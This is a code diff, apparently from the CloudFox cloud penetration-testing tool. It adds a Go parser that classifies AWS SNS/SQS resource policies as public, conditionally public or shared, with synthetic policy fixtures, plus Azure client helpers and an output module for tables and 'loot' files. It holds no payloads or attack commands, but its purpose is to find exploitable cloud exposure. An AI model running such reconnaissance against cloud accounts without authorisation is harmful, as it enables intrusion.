want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-2:444455556666:MyTopic"],"Condition":{"ArnLike":{"aws:SourceArn":["arn:aws:cloudwatch:us-east-2:111122223333:alarm:*"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sns-shared-with-org.json",
|
||||
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-2:444455556666:MyTopic"],"Condition":{"StringEquals":{"aws:PrincipalOrgID":["o-yj4fwt1bwm"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-conditionally-public.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"conditionally_public","Effect":"Allow","Principal":"*","Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"],"Condition":{"IpAddress":{"aws:SourceIp":["192.0.2.0/24"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-public.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"unconditionally_public","Effect":"Allow","Principal":{"AWS":["*"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"]}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-shared-with-condition.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"conditionally_shared","Effect":"Allow","Principal":{"AWS":["123456789012"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"],"Condition":{"IpAddress":{"aws:SourceIp":["192.0.2.0/24"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-shared.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"unconditionally_shared","Effect":"Allow","Principal":{"AWS":["111122223333","arn:aws:iam::123456789012:root"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"]}]}`,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
policy, err := getTestFixure(tt.filename)
|
||||
if err != nil {
|
||||
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
actual, err := json.Marshal(policy)
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if tt.want != string(actual) {
|
||||
t.Errorf("Policy %s parsed in unexpected way:\n%s\n---\n%s\n---", tt.filename, actual, tt.want)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsConditionallyPublic(t *testing.T) {
|
||||
tests := []struct {
|
||||
filename string
|
||||
want bool
|
||||
}{
|
||||
{filename: "amazon-ec2-full-access.json", want: false},
|
||||
{filename: "sns-conditionally-public.json", want: true},
|
||||
{filename: "sns-shared-via-condition.json", want: false},
|
||||
{filename: "sns-shared-with-org.json", want: false},
|
||||
{filename: "sqs-conditionally-public.json", want: true},
|
||||
{filename: "sqs-public.json", want: false},
|
||||
{filename: "sqs-shared-with-condition.json", want: false},
|
||||
{filename: "sqs-shared.json", want: false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
policy, err := getTestFixure(tt.filename)
|
||||
if err != nil {
|
||||
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
actual := policy.IsConditionallyPublic()
|
||||
|
||||
if tt.want != actual {
|
||||
t.Errorf("IsConditionallyPublic(%s) is %v but should be %v", tt.filename, actual, tt.want)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsPublic(t *testing.T) {
|
||||
tests := []struct {
|
||||
filename string
|
||||
want bool
|
||||
}{
|
||||
{filename: "amazon-ec2-full-access.json", want: false},
|
||||
{filename: "sns-conditionally-public.json", want: false},
|
||||
{filename: "sns-shared-via-condition.json", want: false},
|
||||
{filename: "sns-shared-with-org.json", want: false},
|
||||
{filename: "sqs-conditionally-public.json", want: false},
|
||||
{filename: "sqs-public.json", want: true},
|
||||
{filename: "sqs-shared-with-condition.json", want: false},
|
||||
{filename: "sqs-shared.json", want: false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
policy, err := getTestFixure(tt.filename)
|
||||
if err != nil {
|
||||
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
actual := policy.IsPublic()
|
||||
|
||||
if tt.want != actual {
|
||||
t.Errorf("IsPublic(%s) is %v but should be %v", tt.filename, actual, tt.want)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getTestFixure(filename string) (*Policy, error) {
|
||||
f, err := os.Open("testdata/" + filename)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("opening file: %s", err)
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
data, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading file: %s", err)
|
||||
}
|
||||
|
||||
policy, err := ParseJSONPolicy(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing JSON: %s", err)
|
||||
}
|
||||
|
||||
return &policy, nil
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
)
|
||||
|
||||
type PolicyStatementPrincipal struct {
|
||||
S string
|
||||
O PolicyStatementPrincipalObject
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) UnmarshalJSON(b []byte) error {
|
||||
var s string
|
||||
if err := json.Unmarshal(b, &s); err == nil {
|
||||
psp.S = s
|
||||
return nil
|
||||
}
|
||||
|
||||
var obj PolicyStatementPrincipalObject
|
||||
if err := json.Unmarshal(b, &obj); err == nil {
|
||||
psp.O = obj
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("principal is not a string or complex object")
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) MarshalJSON() ([]byte, error) {
|
||||
if psp.S != "" {
|
||||
return json.Marshal(psp.S)
|
||||
}
|
||||
|
||||
return json.Marshal(psp.O)
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) IsEmpty() bool {
|
||||
return psp.S == "" && psp.O.IsEmpty()
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) IsPublic() bool {
|
||||
return psp.S == "*" || psp.O.IsPublic()
|
||||
}
|
||||
|
||||
type PolicyStatementPrincipalObject struct {
|
||||
AWS ListOrString `json:"AWS,omitempty"`
|
||||
CanonicalUser ListOrString `json:"CanonicalUser,omitempty"`
|
||||
Federated ListOrString `json:"Federated,omitempty"`
|
||||
Service ListOrString `json:"Service,omitempty"`
|
||||
}
|
||||
|
||||
func (pspo *PolicyStatementPrincipalObject) IsEmpty() bool {
|
||||
return len(pspo.AWS) == 0 &&
|
||||
len(pspo.CanonicalUser) == 0 &&
|
||||
len(pspo.Federated) == 0 &&
|
||||
len(pspo.Service) == 0
|
||||
}
|
||||
|
||||
func (pspo *PolicyStatementPrincipalObject) IsPublic() bool {
|
||||
for _, s := range pspo.AWS {
|
||||
if s == "*" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (pspo *PolicyStatementPrincipalObject) GetListOfPrincipals() []string {
|
||||
var allPrincipals []string
|
||||
allPrincipals = append(allPrincipals, pspo.AWS...)
|
||||
allPrincipals = append(allPrincipals, pspo.CanonicalUser...)
|
||||
allPrincipals = append(allPrincipals, pspo.Federated...)
|
||||
allPrincipals = append(allPrincipals, pspo.Service...)
|
||||
return allPrincipals
|
||||
}
|
||||
|
||||
type ListOrString []string
|
||||
|
||||
func (ls *ListOrString) UnmarshalJSON(b []byte) error {
|
||||
var s string
|
||||
if err := json.Unmarshal(b, &s); err == nil {
|
||||
*ls = append(*ls, s)
|
||||
return nil
|
||||
}
|
||||
|
||||
var ss []string
|
||||
if err := json.Unmarshal(b, &ss); err == nil {
|
||||
*ls = ss
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("not a string or list of strings")
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type PolicyStatement struct {
|
||||
Sid string `json:"Sid,omitempty"`
|
||||
Effect string `json:"Effect"`
|
||||
Principal PolicyStatementPrincipal `json:"Principal,omitempty"`
|
||||
Action ListOrString `json:"Action"`
|
||||
Resource ListOrString `json:"Resource,omitempty"`
|
||||
Condition PolicyStatementCondition `json:"Condition,omitempty"`
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) IsEmpty() bool {
|
||||
return ps.Sid == "" &&
|
||||
ps.Effect == "" &&
|
||||
ps.Principal.IsEmpty() &&
|
||||
len(ps.Action) < 1 &&
|
||||
len(ps.Resource) < 1 &&
|
||||
ps.Condition.IsEmpty()
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) IsAllow() bool {
|
||||
return strings.TrimSpace(strings.ToLower(ps.Effect)) == "allow"
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetAllActionsAsString() string {
|
||||
actions := ""
|
||||
if len(ps.Action) < 2 {
|
||||
for _, action := range ps.Action {
|
||||
if ps.Effect == "Allow" {
|
||||
actions = fmt.Sprintf("%scan %s & ", actions, action)
|
||||
} else if ps.Effect == "Deny" {
|
||||
actions = fmt.Sprintf("%sis denied %s & ", actions, action)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ps.Effect == "Allow" {
|
||||
actions = fmt.Sprintf("can perform %d actions", len(ps.Action))
|
||||
} else if ps.Effect == "Deny" {
|
||||
actions = fmt.Sprintf("is denied %d actions", len(ps.Action))
|
||||
|
||||
}
|
||||
}
|
||||
actions = strings.TrimSuffix(actions, " & ")
|
||||
actions = actions + "\n"
|
||||
|
||||
return actions
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetAllPrincipalsAsString() string {
|
||||
principals := ""
|
||||
for _, principal := range ps.Principal.O.GetListOfPrincipals() {
|
||||
principals = fmt.Sprintf("%s%s & ", principals, principal)
|
||||
}
|
||||
if principals == "" && ps.Principal.S == "*" {
|
||||
principals = "Everyone"
|
||||
|
||||
}
|
||||
return strings.TrimSuffix(principals, " & ")
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetConditionsInEnglish(caller string) string {
|
||||
conditionTextAll := ""
|
||||
for condition, kv := range ps.Condition {
|
||||
if condition == "StringEquals" || condition == "ArnEquals" {
|
||||
condition = "="
|
||||
} else if condition == "StringLike" || condition == "ArnLike" {
|
||||
condition = "is like"
|
||||
}
|
||||
for k, v := range kv {
|
||||
for _, arn := range v {
|
||||
var conditionText string
|
||||
if (k == "AWS:SourceOwner" || k == "AWS:SourceAccount") && contains(v, caller) {
|
||||
conditionText = "Default resource policy: Not exploitable"
|
||||
} else {
|
||||
conditionText = fmt.Sprintf("-> Only when %s %s %s", k, condition, arn)
|
||||
}
|
||||
|
||||
conditionTextAll = fmt.Sprintf("%s%s\n", conditionTextAll, conditionText)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return conditionTextAll
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetStatementSummaryInEnglish(caller string) string {
|
||||
|
||||
var statementSummary string
|
||||
actions := ps.GetAllActionsAsString()
|
||||
principals := ps.GetAllPrincipalsAsString()
|
||||
conditions := ps.GetConditionsInEnglish(caller)
|
||||
|
||||
if conditions == "Default resource policy: Not exploitable\n" {
|
||||
statementSummary = "Default resource policy: Not exploitable\n" + "\n"
|
||||
} else if conditions != "\n" && conditions != "" {
|
||||
statementSummary = fmt.Sprintf("%s %s %s", strings.TrimSuffix(principals, "\n"), actions, conditions) + "\n"
|
||||
|
||||
} else {
|
||||
statementSummary = fmt.Sprintf("%s %s\n", strings.TrimSuffix(principals, "\n"), actions)
|
||||
|
||||
}
|
||||
return statementSummary
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Action": "ec2:*",
|
||||
"Effect": "Allow",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "elasticloadbalancing:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "cloudwatch:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "autoscaling:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "iam:CreateServiceLinkedRole",
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"iam:AWSServiceName": [
|
||||
"autoscaling.amazonaws.com",
|
||||
"ec2scheduled.amazonaws.com",
|
||||
"elasticloadbalancing.amazonaws.com",
|
||||
"spot.amazonaws.com",
|
||||
"spotfleet.amazonaws.com",
|
||||
"transitgateway.amazonaws.com"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-2:444455556666:MyTopic",
|
||||
"Condition": {
|
||||
"ArnLike": {
|
||||
"aws:SourceArn": "arn:aws:cloudwatch:us-east-2:111122223333:alarm:*"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-2:444455556666:MyTopic",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"aws:PrincipalOrgID": "o-yj4fwt1bwm"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "anyID",
|
||||
"Statement": [{
|
||||
"Sid":"conditionally_public",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "sqs:*",
|
||||
"Resource": "arn:aws:sqs:*:111122223333:queue1",
|
||||
"Condition" : {
|
||||
"IpAddress" : {
|
||||
"aws:SourceIp":"192.0.2.0/24"
|
||||
}
|
||||
}
|
||||
}]
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "anyID",
|
||||
"Statement": [{
|
||||
"Sid":"unconditionally_public",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "sqs:*",
|
||||
"Resource": "arn:aws:sqs:*:111122223333:queue1"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "anyID",
|
||||
"Statement": [{
|
||||
"Sid":"conditionally_shared",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["123456789012"]
|
||||
},
|
||||
"Action": "sqs:*",
|
||||
"Resource": "arn:aws:sqs:*:111122223333:queue1",
|
||||
"Condition" : {
|
||||
"IpAddress" : {
|
||||
"aws:SourceIp":"192.0.2.0/24"
|
||||
}
|
||||
}
|
||||
}]
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "anyID",
|
||||
"Statement": [{
|
||||
"Sid":"unconditionally_shared",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": [
|
||||
"111122223333",
|
||||
"arn:aws:iam::123456789012:root"
|
||||
]
|
||||
},
|
||||
"Action": "sqs:*",
|
||||
"Resource": "arn:aws:sqs:*:111122223333:queue1"
|
||||
}]
|
||||
}
|
||||
@@ -10,6 +10,9 @@ import (
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/resources"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/storage/mgmt/storage"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob"
|
||||
"github.com/Azure/azure-sdk-for-go/services/graphrbac/1.6/graphrbac"
|
||||
"github.com/Azure/go-autorest/autorest"
|
||||
"github.com/Azure/go-autorest/autorest/azure/auth"
|
||||
@@ -132,3 +135,28 @@ func GetStorageClient(subscriptionID string) storage.AccountsClient {
|
||||
client.AddToUserAgent(globals.CLOUDFOX_USER_AGENT)
|
||||
return client
|
||||
}
|
||||
|
||||
func GetStorageAccountBlobClient(tenantID, storageAccountName string) (*azblob.Client, error) {
|
||||
serviceURL := fmt.Sprintf("https://%s.blob.core.windows.net/", storageAccountName)
|
||||
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
client, err := azblob.NewClient(serviceURL, cred, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return client, nil
|
||||
}
|
||||
|
||||
func GetARMresourcesClient(tenantID, subscriptionID string) *armresources.Client {
|
||||
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
|
||||
if err != nil {
|
||||
log.Fatalf("failed to get credentials from Azure CLI: %s", err)
|
||||
}
|
||||
client, err := armresources.NewClient(subscriptionID, cred, nil)
|
||||
if err != nil {
|
||||
log.Fatalf("failed to get ARM resources client: %s", err)
|
||||
}
|
||||
return client
|
||||
}
|
||||
+22
-13
@@ -10,19 +10,10 @@ import (
|
||||
|
||||
"github.com/aquasecurity/table"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/afero"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
// Used for file system mocking with Afero library. Set:
|
||||
// fileSystem = afero.NewOsFs() if not unit testing (code will use real file system) OR
|
||||
// fileSystem = afero.NewMemMapFs() for a mocked file system (when unit testing)
|
||||
var fileSystem = afero.NewOsFs()
|
||||
|
||||
// Color functions
|
||||
var cyan = color.New(color.FgCyan).SprintFunc()
|
||||
|
||||
// This struct is here to mantain compatibility with legacy cloudfox code
|
||||
type OutputData2 struct {
|
||||
Headers []string
|
||||
@@ -56,7 +47,7 @@ func OutputSelector(verbosity int, outputType string, header []string, body [][]
|
||||
ptr.String(fmt.Sprintf("%s.txt", fileName)),
|
||||
outputType,
|
||||
callingModule)
|
||||
printTableToFile(header, body, outputFileTable)
|
||||
printTableToFile(header, body, wrapTable, outputFileTable)
|
||||
fmt.Printf("[%s][%s] Output written to [%s]\n", cyan(callingModule), cyan(prefixIdentifier), outputFileTable.Name())
|
||||
// Add writeLootToFile function here
|
||||
|
||||
@@ -76,7 +67,7 @@ func OutputSelector(verbosity int, outputType string, header []string, body [][]
|
||||
ptr.String(fmt.Sprintf("%s.txt", fileName)),
|
||||
outputType,
|
||||
callingModule)
|
||||
printTableToFile(header, body, outputFileTable)
|
||||
printTableToFile(header, body, wrapTable, outputFileTable)
|
||||
fmt.Printf("[%s][%s] Output written to [%s]\n", cyan(callingModule), cyan(prefixIdentifier), outputFileTable.Name())
|
||||
|
||||
outputFileCSV := createOutputFile(
|
||||
@@ -99,12 +90,26 @@ func printCSVtoFile(header []string, body [][]string, outputFile afero.File) {
|
||||
csvWriter.Flush()
|
||||
}
|
||||
|
||||
func printTableToFile(header []string, body [][]string, outputFile afero.File) {
|
||||
func printTableToFile(header []string, body [][]string, wrapLines bool, outputFile afero.File) {
|
||||
standardColumnWidth := 1000
|
||||
t := table.New(outputFile)
|
||||
if wrapLines {
|
||||
terminalWidth, _, err := terminal.GetSize(int(os.Stdout.Fd()))
|
||||
if err != nil {
|
||||
fmt.Println("error getting terminal size:", err)
|
||||
return
|
||||
}
|
||||
columnCount := len(header)
|
||||
// The offset value was defined by trial and error to get the best wrapping
|
||||
trialAndErrorOffset := 1
|
||||
standardColumnWidth = terminalWidth / (columnCount + trialAndErrorOffset)
|
||||
}
|
||||
t.SetColumnMaxWidth(standardColumnWidth)
|
||||
t.SetHeaders(header...)
|
||||
t.AddRows(body...)
|
||||
t.SetRowLines(false)
|
||||
t.SetDividers(table.UnicodeRoundedDividers)
|
||||
t.SetAlignment(table.AlignLeft)
|
||||
t.Render()
|
||||
}
|
||||
|
||||
@@ -129,6 +134,7 @@ func PrintTableToScreen(header []string, body [][]string, wrapLines bool) {
|
||||
t.SetRowLines(false)
|
||||
t.SetLineStyle(table.StyleCyan)
|
||||
t.SetDividers(table.UnicodeRoundedDividers)
|
||||
t.SetAlignment(table.AlignLeft)
|
||||
t.Render()
|
||||
}
|
||||
|
||||
@@ -159,11 +165,14 @@ func createOutputFile(outputDirectory *string, fileName *string, outputType stri
|
||||
return outputFile
|
||||
}
|
||||
|
||||
func MockFileSystem(switcher bool) {
|
||||
func MockFileSystem(switcher bool) afero.Fs {
|
||||
if switcher {
|
||||
fmt.Println("Using mocked file system")
|
||||
fileSystem = afero.NewMemMapFs()
|
||||
return fileSystem
|
||||
} else {
|
||||
fmt.Println("Using OS file system. Make sure to clean up your disk!")
|
||||
fileSystem = afero.NewOsFs()
|
||||
return fileSystem
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
package internal
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/aquasecurity/table"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/afero"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
// Used for file system mocking with Afero library. Set:
|
||||
// fileSystem = afero.NewOsFs() if not unit testing (code will use real file system) OR
|
||||
// fileSystem = afero.NewMemMapFs() for a mocked file system (when unit testing)
|
||||
var fileSystem = afero.NewOsFs()
|
||||
|
||||
// Color functions
|
||||
var cyan = color.New(color.FgCyan).SprintFunc()
|
||||
|
||||
type OutputClient struct {
|
||||
Verbosity int
|
||||
CallingModule string
|
||||
PrefixIdentifier string
|
||||
Table TableClient
|
||||
Loot LootClient
|
||||
}
|
||||
|
||||
type TableClient struct {
|
||||
Wrap bool
|
||||
DirectoryName string
|
||||
TableFiles []TableFile
|
||||
}
|
||||
|
||||
type TableFile struct {
|
||||
Name string
|
||||
TableFilePointer afero.File
|
||||
CSVFilePointer afero.File
|
||||
Header []string
|
||||
Body [][]string
|
||||
}
|
||||
|
||||
type LootClient struct {
|
||||
DirectoryName string
|
||||
LootFiles []LootFile
|
||||
}
|
||||
|
||||
type LootFile struct {
|
||||
Name string
|
||||
FilePointer afero.File
|
||||
Contents string
|
||||
}
|
||||
|
||||
func (o *OutputClient) WriteFullOutput(tables []TableFile, lootFiles []LootFile) {
|
||||
|
||||
switch o.Verbosity {
|
||||
case 2:
|
||||
o.Table.printTablesToScreen(tables)
|
||||
case 3:
|
||||
o.Table.printTablesToScreen(tables)
|
||||
fmt.Println()
|
||||
if lootFiles != nil {
|
||||
o.Loot.printLoottoScreen(lootFiles)
|
||||
}
|
||||
}
|
||||
|
||||
o.Table.createTableFiles(tables)
|
||||
tableOutputPaths := o.Table.writeTableFiles(tables)
|
||||
o.Table.createCSVFiles()
|
||||
csvOutputPaths := o.Table.writeCSVFiles()
|
||||
var outputPaths []string
|
||||
outputPaths = append(outputPaths, tableOutputPaths...)
|
||||
outputPaths = append(outputPaths, csvOutputPaths...)
|
||||
|
||||
if lootFiles != nil {
|
||||
o.Loot.createLootFiles(lootFiles)
|
||||
lootOutputPaths := o.Loot.writeLootFiles()
|
||||
outputPaths = append(outputPaths, lootOutputPaths...)
|
||||
}
|
||||
|
||||
for _, path := range outputPaths {
|
||||
fmt.Printf("[%s][%s] Output written to %s\n", cyan(o.CallingModule), cyan(o.PrefixIdentifier), path)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *LootClient) printLoottoScreen(lootFiles []LootFile) {
|
||||
for _, file := range lootFiles {
|
||||
fmt.Println(file.Contents)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *LootClient) createLootFiles(lootFiles []LootFile) {
|
||||
l.LootFiles = lootFiles
|
||||
|
||||
for i, file := range l.LootFiles {
|
||||
if l.DirectoryName == "" {
|
||||
l.DirectoryName = "."
|
||||
}
|
||||
if _, err := fileSystem.Stat(l.DirectoryName); os.IsNotExist(err) {
|
||||
err = fileSystem.MkdirAll(l.DirectoryName, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
if file.Name == "" {
|
||||
log.Fatalf("error creating loot file: no file name was specified")
|
||||
}
|
||||
|
||||
l.LootFiles[i].Name = fmt.Sprintf("%s.txt", file.Name)
|
||||
|
||||
filePointer, err := fileSystem.OpenFile(path.Join(l.DirectoryName, l.LootFiles[i].Name), os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
log.Fatalf("error creating output file: %s", err)
|
||||
}
|
||||
|
||||
l.LootFiles[i].FilePointer = filePointer
|
||||
}
|
||||
}
|
||||
|
||||
func (l *LootClient) writeLootFiles() []string {
|
||||
var fullFilePaths []string
|
||||
for _, file := range l.LootFiles {
|
||||
contents := []byte(file.Contents)
|
||||
fullPath := path.Join(l.DirectoryName, file.Name)
|
||||
|
||||
err := os.WriteFile(fullPath, contents, 0644)
|
||||
if err != nil {
|
||||
log.Fatalf("error writing loot file %s: %s", file.Name, err)
|
||||
}
|
||||
fullFilePaths = append(fullFilePaths, fullPath)
|
||||
}
|
||||
return fullFilePaths
|
||||
}
|
||||
|
||||
func (b *TableClient) printTablesToScreen(tableFiles []TableFile) {
|
||||
for _, tf := range tableFiles {
|
||||
standardColumnWidth := 1000
|
||||
t := table.New(os.Stdout)
|
||||
|
||||
if b.Wrap {
|
||||
terminalWidth, _, err := terminal.GetSize(int(os.Stdout.Fd()))
|
||||
if err != nil {
|
||||
fmt.Printf("error getting terminal size: %s, please set the --wrap flag to false\n", err)
|
||||
return
|
||||
}
|
||||
columnCount := len(tf.Header)
|
||||
// The offset value was defined by trial and error to get the best wrapping
|
||||
trialAndErrorOffset := 1
|
||||
standardColumnWidth = terminalWidth / (columnCount + trialAndErrorOffset)
|
||||
}
|
||||
|
||||
t.SetColumnMaxWidth(standardColumnWidth)
|
||||
t.SetHeaders(tf.Header...)
|
||||
t.AddRows(tf.Body...)
|
||||
t.SetHeaderStyle(table.StyleBold)
|
||||
t.SetRowLines(false)
|
||||
t.SetLineStyle(table.StyleCyan)
|
||||
t.SetDividers(table.UnicodeRoundedDividers)
|
||||
t.SetAlignment(table.AlignLeft)
|
||||
t.Render()
|
||||
}
|
||||
}
|
||||
|
||||
func (b *TableClient) createTableFiles(files []TableFile) {
|
||||
b.TableFiles = files
|
||||
|
||||
for i, file := range b.TableFiles {
|
||||
if b.DirectoryName == "" {
|
||||
b.DirectoryName = "."
|
||||
}
|
||||
|
||||
tableDirectory := path.Join(b.DirectoryName, "table")
|
||||
|
||||
if _, err := fileSystem.Stat(tableDirectory); os.IsNotExist(err) {
|
||||
err = fileSystem.MkdirAll(tableDirectory, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if file.Name == "" {
|
||||
log.Fatalf("error creating table file: no file name was specified")
|
||||
}
|
||||
|
||||
fileNameWithExt := fmt.Sprintf("%s.txt", file.Name)
|
||||
|
||||
filePointer, err := fileSystem.OpenFile(path.Join(tableDirectory, fileNameWithExt), os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
log.Fatalf("error creating table file: %s", err)
|
||||
}
|
||||
|
||||
b.TableFiles[i].TableFilePointer = filePointer
|
||||
}
|
||||
}
|
||||
|
||||
func (b *TableClient) writeTableFiles(files []TableFile) []string {
|
||||
var fullFilePaths []string
|
||||
|
||||
for _, file := range b.TableFiles {
|
||||
t := table.New(file.TableFilePointer)
|
||||
|
||||
t.SetHeaders(file.Header...)
|
||||
t.AddRows(file.Body...)
|
||||
t.SetRowLines(false)
|
||||
t.SetDividers(table.UnicodeRoundedDividers)
|
||||
t.SetAlignment(table.AlignLeft)
|
||||
t.Render()
|
||||
|
||||
fullPath := path.Join(b.DirectoryName, "table", fmt.Sprintf("%s.txt", file.Name))
|
||||
fullFilePaths = append(fullFilePaths, fullPath)
|
||||
}
|
||||
|
||||
return fullFilePaths
|
||||
}
|
||||
|
||||
func (b *TableClient) createCSVFiles() {
|
||||
for i, file := range b.TableFiles {
|
||||
if b.DirectoryName == "" {
|
||||
b.DirectoryName = "."
|
||||
}
|
||||
|
||||
